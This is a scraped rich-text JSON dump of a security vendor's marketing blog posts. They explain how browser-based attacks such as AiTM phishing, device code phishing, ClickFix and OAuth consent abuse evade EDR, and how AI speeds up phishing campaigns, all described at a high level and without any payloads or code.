catch.",{"data":11948,"content":11949,"nodeType":1312},{},[11950],{"data":11951,"marks":11952,"value":360,"nodeType":864},{},[11953],{"type":899},{"data":11955,"content":11956,"nodeType":860},{},[11957,11960,11966],{"data":11958,"marks":11959,"value":21,"nodeType":864},{},[],{"data":11961,"content":11962,"nodeType":883},{"uri":3259},[11963],{"data":11964,"marks":11965,"value":360,"nodeType":864},{},[],{"data":11967,"marks":11968,"value":11969,"nodeType":864},{},[]," is harder to spot, because the user authenticates on a legitimate identity provider page. The attacker initiates a device authorization flow and tricks the user into entering a code on the real Microsoft (or Google or GitHub) login page. The IdP issues a valid token. The phishing happened before the authentication page even loaded, and the session token goes straight to the attacker. Push has documented a 37x increase in device code phishing attacks this year, with 12+ unique kits now offering the technique.",{"data":11971,"content":11972,"nodeType":1312},{},[11973],{"data":11974,"marks":11975,"value":315,"nodeType":864},{},[11976],{"type":899},{"data":11978,"content":11979,"nodeType":860},{},[11980,11983,11990],{"data":11981,"marks":11982,"value":21,"nodeType":864},{},[],{"data":11984,"content":11986,"nodeType":883},{"uri":11985},"https://pushsecurity.com/solution/stop-browser-based-attacks/clickfix-fix-variants",[11987],{"data":11988,"marks":11989,"value":315,"nodeType":864},{},[],{"data":11991,"marks":11992,"value":11993,"nodeType":864},{},[]," takes a different approach: the lure tricks the user into copying a malicious payload to their clipboard and running it themselves, framed as a verification step or a fix for a page that won't load. It's social engineering dressed up as a CAPTCHA. Unlike the attacks above, ClickFix is a hybrid — the delivery and lure happen in the browser, but the payload executes on the endpoint. That split is important when we get to how the detection layers divide.",{"data":11995,"content":11996,"nodeType":860},{},[11997],{"data":11998,"marks":11999,"value":12000,"nodeType":864},{},[],"The attacks look different on the surface, but the design principle is the same: stay out of the OS, stay inside the browser, and stay invisible to every tool that's watching the endpoint.",{"data":12002,"content":12003,"nodeType":860},{},[12004,12008,12014,12017,12024],{"data":12005,"marks":12006,"value":12007,"nodeType":864},{},[],"Once access to an app is established via a compromised identity, attackers can also achieve their goals without touching the endpoint. Most of the time, this involves data theft and extortion, but adversaries like ",{"data":12009,"content":12010,"nodeType":883},{"uri":4082},[12011],{"data":12012,"marks":12013,"value":4087,"nodeType":864},{},[],{"data":12015,"marks":12016,"value":902,"nodeType":864},{},[],{"data":12018,"content":12019,"nodeType":883},{"uri":6237},[12020],{"data":12021,"marks":12022,"value":12023,"nodeType":864},{},[],"Scattered Spider",{"data":12025,"marks":12026,"value":12027,"nodeType":864},{},[]," are also experts in cloud-based disruption and destruction techniques — with no ransomware binary dropped to user endpoints for an EDR agent to intercept. ",{"data":12029,"content":12033,"nodeType":996},{"target":12030},{"sys":12031},{"id":12032,"type":1001,"linkType":1002},"4eZcjfuT34oQoKIZAsZCr4",[],{"data":12035,"content":12036,"nodeType":1005},{},[],{"data":12038,"content":12039,"nodeType":1009},{},[12040],{"data":12041,"marks":12042,"value":12044,"nodeType":864},{},[12043],{"type":899},"The EDR you're using doesn't change the result",{"data":12046,"content":12047,"nodeType":860},{},[12048],{"data":12049,"marks":12050,"value":12051,"nodeType":864},{},[],"The constraint isn't vendor-specific. Every EDR's observation model stops at the OS layer because that's where the agent sits. What happens inside a browser session is outside that model by design. A better EDR doesn't close the gap; a different layer does.",{"data":12053,"content":12054,"nodeType":1312},{},[12055],{"data":12056,"marks":12057,"value":12059,"nodeType":864},{},[12058],{"type":899},"Reputation-based filtering falls short too",{"data":12061,"content":12062,"nodeType":860},{},[12063,12067,12073,12077,12085],{"data":12064,"marks":12065,"value":12066,"nodeType":864},{},[],"Some platforms add URL filtering or domain reputation checks at the browser boundary, and that narrows the surface somewhat. But reputation-based filtering hits the same wall against PhaaS infrastructure engineered to rotate domains before reputation databases catch up. ",{"data":12068,"content":12069,"nodeType":883},{"uri":3858},[12070],{"data":12071,"marks":12072,"value":7480,"nodeType":864},{},[],{"data":12074,"marks":12075,"value":12076,"nodeType":864},{},[],". A reputation engine can't flag infrastructure it hasn't seen, and ",{"data":12078,"content":12080,"nodeType":883},{"uri":12079},"https://pushsecurity.com/blog/phishing-detection-evasion-launch/",[12081],{"data":12082,"marks":12083,"value":12084,"nodeType":864},{},[],"modern phishing operations",{"data":12086,"marks":12087,"value":12088,"nodeType":864},{},[]," are designed around that window.",{"data":12090,"content":12091,"nodeType":1312},{},[12092],{"data":12093,"marks":12094,"value":12096,"nodeType":864},{},[12095],{"type":899},"Some vendors recognize the problem",{"data":12098,"content":12099,"nodeType":860},{},[12100],{"data":12101,"marks":12102,"value":12103,"nodeType":864},{},[],"The market has started to acknowledge this. CrowdStrike's acquisition of Seraphic is a direct signal that endpoint vendors see the browser gap and want to close it, and it validates what we've been building here at Push since day one. That's a good thing for defenders — the more coverage at this layer, the better.",{"data":12105,"content":12106,"nodeType":860},{},[12107],{"data":12108,"marks":12109,"value":12110,"nodeType":864},{},[],"But endpoint vendors see the world through the endpoint. Their platforms, their telemetry models, and their detection logic are all structured around what happens at the OS layer. When they acquire browser capability, it gets pulled into that orbit. Seraphic was built to detect browser exploits by injecting into the browser's JavaScript runtime from the OS. ",{"data":12112,"content":12113,"nodeType":1312},{},[12114],{"data":12115,"marks":12116,"value":12118,"nodeType":864},{},[12117],{"type":899},"Attacks in vs. on the browser: why this distinction matters",{"data":12120,"content":12121,"nodeType":860},{},[12122,12126,12134,12138,12143,12147,12155],{"data":12123,"marks":12124,"value":12125,"nodeType":864},{},[],"In other words, ",{"data":12127,"content":12129,"nodeType":883},{"uri":12128},"https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/",[12130],{"data":12131,"marks":12132,"value":12133,"nodeType":864},{},[],"their focus is on attacks on the browser itself",{"data":12135,"marks":12136,"value":12137,"nodeType":864},{},[],", rather than those happening ",{"data":12139,"marks":12140,"value":12142,"nodeType":864},{},[12141],{"type":2246},"inside",{"data":12144,"marks":12145,"value":12146,"nodeType":864},{},[]," the browser session. That's a meaningful capability, but it's a different problem from detecting the identity attacks that dominate the threat landscape today — AiTM phishing, session hijacking, OAuth consent abuse, ClickFix — where the attacker never triggers an exploit and the browser works exactly as designed. We've written in detail aboutwhy that ",{"data":12148,"content":12149,"nodeType":883},{"uri":12128},[12150],{"data":12151,"marks":12152,"value":12154,"nodeType":864},{},[12153],{"type":1455},"architectural distinction matters",{"data":12156,"marks":12157,"value":12158,"nodeType":864},{},[]," for buyers evaluating the category.",{"data":12160,"content":12164,"nodeType":996},{"target":12161},{"sys":12162},{"id":12163,"type":1001,"linkType":1002},"37815BxUTO55avL4molrA5",[],{"data":12166,"content":12167,"nodeType":1005},{},[],{"data":12169,"content":12170,"nodeType":1009},{},[12171],{"data":12172,"marks":12173,"value":12175,"nodeType":864},{},[12174],{"type":899},"What browser-native detection actually looks like",{"data":12177,"content":12178,"nodeType":860},{},[12179],{"data":12180,"marks":12181,"value":12182,"nodeType":864},{},[],"Network tools and reputation engines see where a user went and whether the destination had a known-bad reputation. What they can't see is what happened on the page once the user got there — whether the login form was real or a proxied clone, whether a session token was issued and where it went next.",{"data":12184,"content":12185,"nodeType":1312},{},[12186],{"data":12187,"marks":12188,"value":12190,"nodeType":864},{},[12189],{"type":899},"Why network-layer detection can't keep up",{"data":12192,"content":12193,"nodeType":860},{},[12194],{"data":12195,"marks":12196,"value":12197,"nodeType":864},{},[],"At the network layer, a brand-new domain hosting a pixel-perfect Microsoft login page is indistinguishable from the real thing. There's no signal to act on — the domain is in good standing, the TLS cert is valid, and the traffic looks normal.",{"data":12199,"content":12200,"nodeType":860},{},[12201],{"data":12202,"marks":12203,"value":12204,"nodeType":864},{},[],"But it's not as simple as looking at the page itself. The phishing pages attackers are building now don't look like the clone-and-paste jobs of a few years ago. Attackers are vibe-coding imitations where the AI has constructed the page from scratch — visually identical to the real login page, but with a completely different underlying structure. They look the same to the user and to any tool doing a surface-level comparison. You need to understand how credential-harvesting mechanics actually work, how authentication relay is structured, and what behavioral fingerprints phishing kits leave behind regardless of how the page was built.",{"data":12206,"content":12207,"nodeType":1312},{},[12208],{"data":12209,"marks":12210,"value":12212,"nodeType":864},{},[12211],{"type":899},"How Push detects what others miss",{"data":12214,"content":12215,"nodeType":860},{},[12216],{"data":12217,"marks":12218,"value":12219,"nodeType":864},{},[],"That's where Push's visibility and expertise intersect. Running inside the browser, Push sees DOM structure, script behavior, how credential forms are constructed, and how authentication is being relayed. Phishing attacks leave consistent behavioral fingerprints at this level regardless of what domain they're hosted on, which kit family they belong to, or whether the page was hand-coded or vibe-coded in minutes. Push catches attacks built on infrastructure that's never appeared on any blocklist, because it isn't looking at the infrastructure. It's looking at what the page is doing.",{"data":12221,"content":12222,"nodeType":1312},{},[12223],{"data":12224,"marks":12225,"value":12227,"nodeType":864},{},[12226],{"type":899},"Where the detection layers divide",{"data":12229,"content":12230,"nodeType":860},{},[12231],{"data":12232,"marks":12233,"value":12234,"nodeType":864},{},[],"ClickFix illustrates how the layers split. Push identifies the page behavior delivering the lure and analyzes the clipboard payload before the user runs it — two detection points, both inside the browser, both before anything reaches the endpoint. EDR's window opens after execution. Push and EDR are watching the same attack from opposite ends of the kill chain.",{"data":12236,"content":12237,"nodeType":1312},{},[12238],{"data":12239,"marks":12240,"value":12242,"nodeType":864},{},[12241],{"type":899},"Keeping pace with AI-accelerated attacks",{"data":12244,"content":12245,"nodeType":860},{},[12246],{"data":12247,"marks":12248,"value":12249,"nodeType":864},{},[],"That detection model has to keep pace with an attack surface that's evolving at machine speed. Attackers are using AI to vibe-code phishing kits, generate convincing cloned pages, and rotate infrastructure faster than any human team can track.",{"data":12251,"content":12252,"nodeType":860},{},[12253,12257,12263,12267,12272],{"data":12254,"marks":12255,"value":12256,"nodeType":864},{},[],"Push matches that pace with an ",{"data":12258,"content":12259,"nodeType":883},{"uri":7180},[12260],{"data":12261,"marks":12262,"value":7185,"nodeType":864},{},[],{"data":12264,"marks":12265,"value":12266,"nodeType":864},{},[],": autonomous agents hunt continuously across browser telemetry from over ",{"data":12268,"marks":12269,"value":12271,"nodeType":864},{},[12270],{"type":899},"3 million browsers worldwide",{"data":12273,"marks":12274,"value":12275,"nodeType":864},{},[],", develop hypotheses, analyze traces, and write detection rules without waiting for human initiation. Push's in-house threat researchers feed the agents the context they need — years of accumulated knowledge about how browser-based attacks actually work. The agents operationalize that expertise at a scale and speed no human team could sustain alone.",{"data":12277,"content":12281,"nodeType":996},{"target":12278},{"sys":12279},{"id":12280,"type":1001,"linkType":1002},"27crXZtdoKOl08wDzLFnBO",[],{"data":12283,"content":12284,"nodeType":1005},{},[],{"data":12286,"content":12287,"nodeType":1009},{},[12288],{"data":12289,"marks":12290,"value":12292,"nodeType":864},{},[12291],{"type":899},"Two layers that fit together",{"data":12294,"content":12295,"nodeType":860},{},[12296],{"data":12297,"marks":12298,"value":12299,"nodeType":864},{},[],"Browser detection and endpoint detection cover different surfaces. Together they close the gap.",{"data":12301,"content":12302,"nodeType":1312},{},[12303],{"data":12304,"marks":12305,"value":12307,"nodeType":864},{},[12306],{"type":899},"Response at the speed of the attack",{"data":12309,"content":12310,"nodeType":860},{},[12311],{"data":12312,"marks":12313,"value":12314,"nodeType":864},{},[],"Push doesn't just detect — the detection comes with response built in. Phishing pages are blocked before credentials are submitted. Malicious clipboard payloads are intercepted before the user can run them. Suspicious OAuth consent grants are flagged or blocked in real time, before the authorization completes. These aren't after-the-fact alerts that require an analyst to act; they're inline controls that operate at the speed of the attack.",{"data":12316,"content":12317,"nodeType":860},{},[12318],{"data":12319,"marks":12320,"value":12321,"nodeType":864},{},[],"For purely browser-based attacks like AiTM phishing, device code phishing, and OAuth consent abuse, Push is both the detection and the response layer. For ClickFix, the coverage divides: Push catches the delivery and the clipboard payload, and if the user runs it and something lands on the OS, EDR picks up what happens next.",{"data":12323,"content":12324,"nodeType":1312},{},[12325],{"data":12326,"marks":12327,"value":12329,"nodeType":864},{},[12328],{"type":899},"The telemetry bridge",{"data":12331,"content":12332,"nodeType":860},{},[12333],{"data":12334,"marks":12335,"value":12336,"nodeType":864},{},[],"The integration with endpoint tooling is straightforward. Push feeds browser telemetry into the same SIEM and XDR workflows endpoint data already flows into.",{"data":12338,"content":12339,"nodeType":860},{},[12340],{"data":12341,"marks":12342,"value":12343,"nodeType":864},{},[],"EDR tells you what happened on the host. Push tells you what happened in the session before the host was involved — which login page loaded, how it behaved, whether a session token left the organization. That's the causal link most investigation timelines are missing: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that proxied authentication and captured the session token.\"",{"data":12345,"content":12346,"nodeType":860},{},[12347],{"data":12348,"marks":12349,"value":12350,"nodeType":864},{},[],"Without browser-layer telemetry, that chain of events is invisible — the EDR sees normal endpoint processes and the SIEM sees a successful login. An alert from either layer is more useful with context from the other, and the range of problems you can solve from inside the browser extends well beyond threat detection.",{"data":12352,"content":12353,"nodeType":1312},{},[12354],{"data":12355,"marks":12356,"value":12358,"nodeType":864},{},[12357],{"type":899},"Deployment without disruption",{"data":12360,"content":12361,"nodeType":860},{},[12362],{"data":12363,"marks":12364,"value":12365,"nodeType":864},{},[],"Operationally, adding the browser layer doesn't mean adding complexity. Push deploys as a browser extension — no network changes, no TLS inspection, no browser replacement, and no impact on page load times or browsing performance.",{"data":12367,"content":12368,"nodeType":860},{},[12369],{"data":12370,"marks":12371,"value":12372,"nodeType":864},{},[],"Unlike approaches that route traffic through a proxy or render pages remotely, Push operates natively inside the browser session, which means there's no latency penalty and no disruption to how employees work. ",{"data":12374,"content":12378,"nodeType":996},{"target":12375},{"sys":12376},{"id":12377,"type":1001,"linkType":1002},"3w1g0UvGN28HBOTxeZlIfc",[],{"data":12380,"content":12381,"nodeType":1005},{},[],{"data":12383,"content":12384,"nodeType":1009},{},[12385],{"data":12386,"marks":12387,"value":12389,"nodeType":864},{},[12388],{"type":899},"A quick check on your coverage",{"data":12391,"content":12392,"nodeType":860},{},[12393],{"data":12394,"marks":12395,"value":12396,"nodeType":864},{},[],"If you're running EDR and assume the browser is covered, these are worth thinking through. ",{"data":12398,"content":12399,"nodeType":941},{},[12400,12421,12443,12453],{"data":12401,"content":12402,"nodeType":945},{},[12403],{"data":12404,"content":12405,"nodeType":860},{},[12406,12410,12417],{"data":12407,"marks":12408,"value":12409,"nodeType":864},{},[],"Can you identify which browser extensions across your fleet have the ",{"data":12411,"content":12412,"nodeType":883},{"uri":2411},[12413],{"data":12414,"marks":12415,"value":12416,"nodeType":864},{},[],"permissions needed for account takeover",{"data":12418,"marks":12419,"value":12420,"nodeType":864},{},[],"? ",{"data":12422,"content":12423,"nodeType":945},{},[12424],{"data":12425,"content":12426,"nodeType":860},{},[12427,12431,12439],{"data":12428,"marks":12429,"value":12430,"nodeType":864},{},[],"Would anything stop a ",{"data":12432,"content":12434,"nodeType":883},{"uri":12433},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/",[12435],{"data":12436,"marks":12437,"value":12438,"nodeType":864},{},[],"ClickFix payload",{"data":12440,"marks":12441,"value":12442,"nodeType":864},{},[]," before your user ran it? ",{"data":12444,"content":12445,"nodeType":945},{},[12446],{"data":12447,"content":12448,"nodeType":860},{},[12449],{"data":12450,"marks":12451,"value":12452,"nodeType":864},{},[],"Do you have visibility into every account your employees have created outside of SSO, and whether those accounts are protected by MFA or using weak, breached, or reused passwords? ",{"data":12454,"content":12455,"nodeType":945},{},[12456],{"data":12457,"content":12458,"nodeType":860},{},[12459],{"data":12460,"marks":12461,"value":12462,"nodeType":864},{},[],"When a session token gets stolen, do you have any signal when the attacker starts using it?",{"data":12464,"content":12465,"nodeType":860},{},[12466],{"data":12467,"marks":12468,"value":12470,"nodeType":864},{},[12469],{"type":899},"Push surfaces answers to all of them — across every browser session.",{"data":12472,"content":12473,"nodeType":860},{},[12474,12478,12486],{"data":12475,"marks":12476,"value":12477,"nodeType":864},{},[],"Defenders secured the endpoint. Attackers took note, and they've had the browser to themselves ever since. The attacker tooling that followed was built for an environment where the endpoint is watched and the session layer isn't. That's been a reasonable assumption for the better part of a decade. Endpoint vendors are starting to move toward the browser, but there's a case for ",{"data":12479,"content":12480,"nodeType":883},{"uri":8595},[12481],{"data":12482,"marks":12483,"value":12485,"nodeType":864},{},[12484],{"type":1455},"purpose-built browser security",{"data":12487,"marks":12488,"value":12489,"nodeType":864},{},[]," rather than bolted-on features from platforms designed for a different layer. The endpoint is covered. The browser is where the work is now.",{"data":12491,"content":12492,"nodeType":1005},{},[],{"data":12494,"content":12495,"nodeType":860},{},[12496,12499,12507],{"data":12497,"marks":12498,"value":4855,"nodeType":864},{},[],{"data":12500,"content":12502,"nodeType":883},{"uri":12501},"https://pushsecurity.com/book-demo/",[12503],{"data":12504,"marks":12505,"value":12506,"nodeType":864},{},[],"Book a live demo to learn more",{"data":12508,"marks":12509,"value":2924,"nodeType":864},{},[],{"entries":12511},{"hyperlink":12512,"inline":12513,"block":12514},[],[],[12515,12522,12525,12544,12570],{"sys":12516,"__typename":1724,"title":12517,"caption":12518,"layoutMode":59,"file":12519},{"id":7515},"Pyramid of Pain for internet-based attacks","The Pyramid of Pain reworked for internet-based attacks.",{"url":12520,"width":1736,"height":12521},"https://images.ctfassets.net/y1cdw1ablpvd/2KJMvUn55yStIIB5jIcy0n/c64a1d128567ed1189821b8160f81fe7/image6.png",1149,{"sys":12523,"__typename":1717,"type":1718,"ctaText":12524,"buttonLabel":8771,"buttonColour":1721,"buttonUrl":6543},{"id":12032},"Read our browser attack techniques report for more information on these attack techniques and how attackers are leveraging them in browser-native breaches that don't touch the endpoint detection surface.",{"sys":12526,"__typename":1740,"content":12527,"name":12543,"title":59},{"id":12163},{"json":12528},{"nodeType":856,"data":12529,"content":12530},{},[12531],{"nodeType":860,"data":12532,"content":12533},{},[12534,12538],{"nodeType":864,"value":12535,"marks":12536,"data":12537},"Push was built for the browser from the start, for exactly these attacks. The detection engine runs inside the session. The response actions operate at the session layer, blocking phishing pages, intercepting malicious clipboard payloads, and warning on suspicious OAuth consent grants, because that's where the attack is happening. ",[],{},{"nodeType":864,"value":12539,"marks":12540,"data":12542},"That's not a philosophical matter. It determines what you can catch and how fast you can stop it.",[12541],{"type":899},{},"EDR blog IB1",{"sys":12545,"__typename":1740,"content":12546,"name":12569,"title":59},{"id":12280},{"json":12547},{"nodeType":856,"data":12548,"content":12549},{},[12550],{"nodeType":860,"data":12551,"content":12552},{},[12553,12557,12565],{"nodeType":864,"value":12554,"marks":12555,"data":12556},"Since deploying the pipeline, we've 3x'ed our detection output (but with ",[],{},{"nodeType":883,"data":12558,"content":12560},{"uri":12559},"https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/",[12561],{"nodeType":864,"value":12562,"marks":12563,"data":12564},"broad technique-level detections, not just IoC noise",[],{},{"nodeType":864,"value":12566,"marks":12567,"data":12568},"). New detections move from discovery to customer protection in minutes rather than the days or weeks a manual process required.",[],{},"EDR blog IB2",{"sys":12571,"__typename":1740,"content":12572,"name":12583,"title":59},{"id":12377},{"json":12573},{"nodeType":856,"data":12574,"content":12575},{},[12576],{"nodeType":860,"data":12577,"content":12578},{},[12579],{"nodeType":864,"value":12580,"marks":12581,"data":12582},"Push has been deployed to 100,000 users in under an hour during normal business hours with zero downtime, and it sits alongside whatever endpoint and network tooling is already in place.",[],{},"EDR blog IB3",{"items":12585},[],{},"How attackers get around endpoint security controls like EDR",{"items":12589},[12590,13520,14042],{"__typename":2059,"sys":12591,"content":12593,"title":13507,"synopsis":13508,"hashTags":59,"publishedDate":10555,"slug":13509,"tagsCollection":13510,"authorsCollection":13516},{"id":12592},"I5SoVIYsYVgutpLIzZRpC",{"json":12594},{"data":12595,"content":12596,"nodeType":856},{},[12597,12604,12611,12632,12639,12646,12649,12657,12664,12671,12694,12701,12708,12714,12717,12725,12732,12738,12745,12753,12784,12803,12809,12817,12824,12830,12848,12856,12863,12893,12899,12914,12917,12925,12932,12937,12953,12960,12967,12979,12998,13005,13012,13020,13027,13045,13051,13058,13064,13070,13073,13081,13088,13095,13158,13165,13172,13179,13186,13202,13209,13216,13223,13230,13237,13244,13251,13258,13265,13272,13279,13286,13293,13296,13304,13311,13323,13330,13337,13344,13351,13474,13480,13486,13489],{"data":12598,"content":12599,"nodeType":860},{},[12600],{"data":12601,"marks":12602,"value":12603,"nodeType":864},{},[],"When is a fork not a fork? When it's a browser security platform built to solve both problems of the AI era.",{"data":12605,"content":12606,"nodeType":860},{},[12607],{"data":12608,"marks":12609,"value":12610,"nodeType":864},{},[],"Many security leaders are rightly worried about two big problems in the age of AI: AI-enabled attacks targeting their employees via the browser; and employees introducing the risk of data loss through their use of AI tools.",{"data":12612,"content":12613,"nodeType":860},{},[12614,12619,12623,12628],{"data":12615,"marks":12616,"value":12618,"nodeType":864},{},[12617],{"type":899},"For security teams researching browser-based solutions to these challenges, the decision at first looks like a fork in the road: ",{"data":12620,"marks":12621,"value":12622,"nodeType":864},{},[],"Choose a solution that's purpose-built to detect and respond to modern browser-based attacks like AI-enabled phish kits, ClickFix and other *Fix-style attacks, malicious browser extensions, device code phishing, and others; ",{"data":12624,"marks":12625,"value":12627,"nodeType":864},{},[12626],{"type":2246},"or",{"data":12629,"marks":12630,"value":12631,"nodeType":864},{},[]," select an AI governance tool to enforce sensible policies for sensitive data in the browser.",{"data":12633,"content":12634,"nodeType":860},{},[12635],{"data":12636,"marks":12637,"value":12638,"nodeType":864},{},[],"Push solves both of these problems. One platform, one SKU.",{"data":12640,"content":12641,"nodeType":860},{},[12642],{"data":12643,"marks":12644,"value":12645,"nodeType":864},{},[],"In this article, we'll take a look at the two big AI security and data governance problems that security teams are facing and outline how Push solves them in a single solution. We’ll cover what questions to ask as you evaluate browser security solutions, and describe Push's focus on providing foundational telemetry, detections, and controls that allow you to answer the question “What actually happened here?” not just “What policy was violated?”",{"data":12647,"content":12648,"nodeType":1005},{},[],{"data":12650,"content":12651,"nodeType":1009},{},[12652],{"data":12653,"marks":12654,"value":12656,"nodeType":864},{},[12655],{"type":899},"The AI risks every security team is now responsible for",{"data":12658,"content":12659,"nodeType":860},{},[12660],{"data":12661,"marks":12662,"value":12663,"nodeType":864},{},[],"AI is an amplifier, for adversaries and for your employees. Whatever they could do before, they can now do faster, more powerfully, and at scale.",{"data":12665,"content":12666,"nodeType":860},{},[12667],{"data":12668,"marks":12669,"value":12670,"nodeType":864},{},[],"The two risks that every security team now must manage: ",{"data":12672,"content":12673,"nodeType":941},{},[12674,12684],{"data":12675,"content":12676,"nodeType":945},{},[12677],{"data":12678,"content":12679,"nodeType":860},{},[12680],{"data":12681,"marks":12682,"value":12683,"nodeType":864},{},[],"AI is making browser-based attacks faster, cheaper, and harder to detect.",{"data":12685,"content":12686,"nodeType":945},{},[12687],{"data":12688,"content":12689,"nodeType":860},{},[12690],{"data":12691,"marks":12692,"value":12693,"nodeType":864},{},[],"Employee AI adoption is creating data exposure faster than security teams can respond.",{"data":12695,"content":12696,"nodeType":860},{},[12697],{"data":12698,"marks":12699,"value":12700,"nodeType":864},{},[],"Both of these challenges intersect in the same place: The browser. It's the place where adversaries target employees with modern attacks designed to accomplish account takeover and data exfiltration. It's also the place where workers discover and use new AI-enabled apps and introduce risk into the business in the form of data loss, shadow apps, risky browser extensions, and shadow integrations.",{"data":12702,"content":12703,"nodeType":860},{},[12704],{"data":12705,"marks":12706,"value":12707,"nodeType":864},{},[],"To address both problems, security teams need visibility and control in the browser.",{"data":12709,"content":12713,"nodeType":996},{"target":12710},{"sys":12711},{"id":12712,"type":1001,"linkType":1002},"1U2Hmn4XrFpdcxyjxY3aCc",[],{"data":12715,"content":12716,"nodeType":1005},{},[],{"data":12718,"content":12719,"nodeType":1009},{},[12720],{"data":12721,"marks":12722,"value":12724,"nodeType":864},{},[12723],{"type":899},"How AI is transforming attacks",{"data":12726,"content":12727,"nodeType":860},{},[12728],{"data":12729,"marks":12730,"value":12731,"nodeType":864},{},[],"On the adversary side of the equation, adversaries are using AI tooling to rapidly iterate on new attack types or new iterations of existing browser-based TTPs that target employees to achieve account or endpoint compromise — usually with the end goal of harvesting valuable corporate identities in order to exfiltrate data or hold it for ransom.",{"data":12733,"content":12737,"nodeType":996},{"target":12734},{"sys":12735},{"id":12736,"type":1001,"linkType":1002},"G8xv1seFz1wJnY5HpfV6z",[],{"data":12739,"content":12740,"nodeType":860},{},[12741],{"data":12742,"marks":12743,"value":12744,"nodeType":864},{},[],"AI is changing attacks in three key ways.",{"data":12746,"content":12747,"nodeType":1312},{},[12748],{"data":12749,"marks":12750,"value":12752,"nodeType":864},{},[12751],{"type":899},"AI has supercharged the iteration and evolution of adversary tools and techniques",{"data":12754,"content":12755,"nodeType":860},{},[12756,12760,12768,12772,12780],{"data":12757,"marks":12758,"value":12759,"nodeType":864},{},[],"Attackers are using the same AI capabilities as any other engineer who wants to multiply their output. That translates to an array of new attack techniques: multiple increasingly sophisticated variations of the ",{"data":12761,"content":12762,"nodeType":883},{"uri":6075},[12763],{"data":12764,"marks":12765,"value":12767,"nodeType":864},{},[12766],{"type":1455},"ClickFix-style attacks",{"data":12769,"marks":12770,"value":12771,"nodeType":864},{},[]," that use social engineering techniques to get users to unknowingly install malware via malicious scripts; as well as creative ",{"data":12773,"content":12774,"nodeType":883},{"uri":3259},[12775],{"data":12776,"marks":12777,"value":12779,"nodeType":864},{},[12778],{"type":1455},"exploitation of device codes",{"data":12781,"marks":12782,"value":12783,"nodeType":864},{},[],", a legitimate authentication mechanism, that allows attackers to phish access post-authentication.",{"data":12785,"content":12786,"nodeType":860},{},[12787,12791,12799],{"data":12788,"marks":12789,"value":12790,"nodeType":864},{},[],"Device code phishing in particular demonstrates the rapid growth of new techniques, with early documented appearances of the TTP occurring in 2024, and by early the next year, the method had been packaged as a PhaaS offering with GPT-enhanced spear-phishing and customized landing pages. The ",{"data":12792,"content":12794,"nodeType":883},{"uri":12793},"https://www.huntress.com/blog/device-code-phishing-ai-mfa-bypass",[12795],{"data":12796,"marks":12797,"value":12798,"nodeType":864},{},[],"campaign",{"data":12800,"marks":12801,"value":12802,"nodeType":864},{},[]," targeted more than 340 organizations across five countries in March 2026, using personalized AI-generated lures at a scale that would have been impractical to produce manually.",{"data":12804,"content":12808,"nodeType":996},{"target":12805},{"sys":12806},{"id":12807,"type":1001,"linkType":1002},"eNUpU2GtGOcXRrHBKHnLN",[],{"data":12810,"content":12811,"nodeType":1312},{},[12812],{"data":12813,"marks":12814,"value":12816,"nodeType":864},{},[12815],{"type":899},"Infrastructure-based detections are increasingly degraded by AI-enabled approaches",{"data":12818,"content":12819,"nodeType":860},{},[12820],{"data":12821,"marks":12822,"value":12823,"nodeType":864},{},[],"AI has also collapsed the cost and time it takes to build convincing phishing infrastructure: Attackers can vibecode a convincing phishing page in minutes, burn the domain, and regenerate another one before any blocklist updates. ",{"data":12825,"content":12829,"nodeType":996},{"target":12826},{"sys":12827},{"id":12828,"type":1001,"linkType":1002},"2obvOhMWjy64h94tEIbx04",[],{"data":12831,"content":12832,"nodeType":860},{},[12833,12837,12844],{"data":12834,"marks":12835,"value":12836,"nodeType":864},{},[],"The impact on IOC-based detections that rely on infrastructure elements is severe: When elements constantly change, every phishing attack is essentially a zero-day. Complicating the picture further is the increasing use of legitimate cloud platforms like ",{"data":12838,"content":12839,"nodeType":883},{"uri":7591},[12840],{"data":12841,"marks":12842,"value":7596,"nodeType":864},{},[12843],{"type":1455},{"data":12845,"marks":12846,"value":12847,"nodeType":864},{},[],", Cloudflare Workers, and Vercel, which attackers use to host and dynamically rotate attack infrastructure.",{"data":12849,"content":12850,"nodeType":1312},{},[12851],{"data":12852,"marks":12853,"value":12855,"nodeType":864},{},[12854],{"type":899},"AI is making it easier to build and run omni-channel campaigns",{"data":12857,"content":12858,"nodeType":860},{},[12859],{"data":12860,"marks":12861,"value":12862,"nodeType":864},{},[],"Push researchers have written extensively over the last year about malvertising campaigns that serve malicious pages to users via search engine results, enticing them to visit sites designed to steal credentials or deliver malware. ",{"data":12864,"content":12865,"nodeType":860},{},[12866,12870,12879,12883,12889],{"data":12867,"marks":12868,"value":12869,"nodeType":864},{},[],"We've tracked ",{"data":12871,"content":12873,"nodeType":883},{"uri":12872},"https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/",[12874],{"data":12875,"marks":12876,"value":12878,"nodeType":864},{},[12877],{"type":1455},"sustained campaigns",{"data":12880,"marks":12881,"value":12882,"nodeType":864},{},[]," impersonating Onfido, TradingView, Ahrefs, Semrush, and others. These campaigns are part of a self-reinforcing criminal ecosystem: Malvertising campaigns paid for by stolen ad accounts, with credential theft that funds the next round of credential theft. And the recent ",{"data":12884,"content":12885,"nodeType":883},{"uri":5327},[12886],{"data":12887,"marks":12888,"value":1555,"nodeType":864},{},[],{"data":12890,"marks":12891,"value":12892,"nodeType":864},{},[]," campaign identified by Push shows how attackers are combining their abuse of AI tools of AI-assisted phishing page creation with malvertising, helping them to spin up lookalike pages quickly and cheaply to serve as convincing lures.",{"data":12894,"content":12898,"nodeType":996},{"target":12895},{"sys":12896},{"id":12897,"type":1001,"linkType":1002},"2Gwj25KBjClQ5u8uiEYuYR",[],{"data":12900,"content":12901,"nodeType":860},{},[12902,12906,12911],{"data":12903,"marks":12904,"value":12905,"nodeType":864},{},[],"These are just a few examples of how phishing has moved beyond the inbox, targeting users through malvertising, SEO poisoning, and social media DMs. Over the last year, Push researchers found that ",{"data":12907,"marks":12908,"value":12910,"nodeType":864},{},[12909],{"type":899},"1 in 3 payloads intercepted by the platform were sent outside of email",{"data":12912,"marks":12913,"value":2924,"nodeType":864},{},[],{"data":12915,"content":12916,"nodeType":1005},{},[],{"data":12918,"content":12919,"nodeType":1009},{},[12920],{"data":12921,"marks":12922,"value":12924,"nodeType":864},{},[12923],{"type":899},"How AI is creating risky employee behaviors 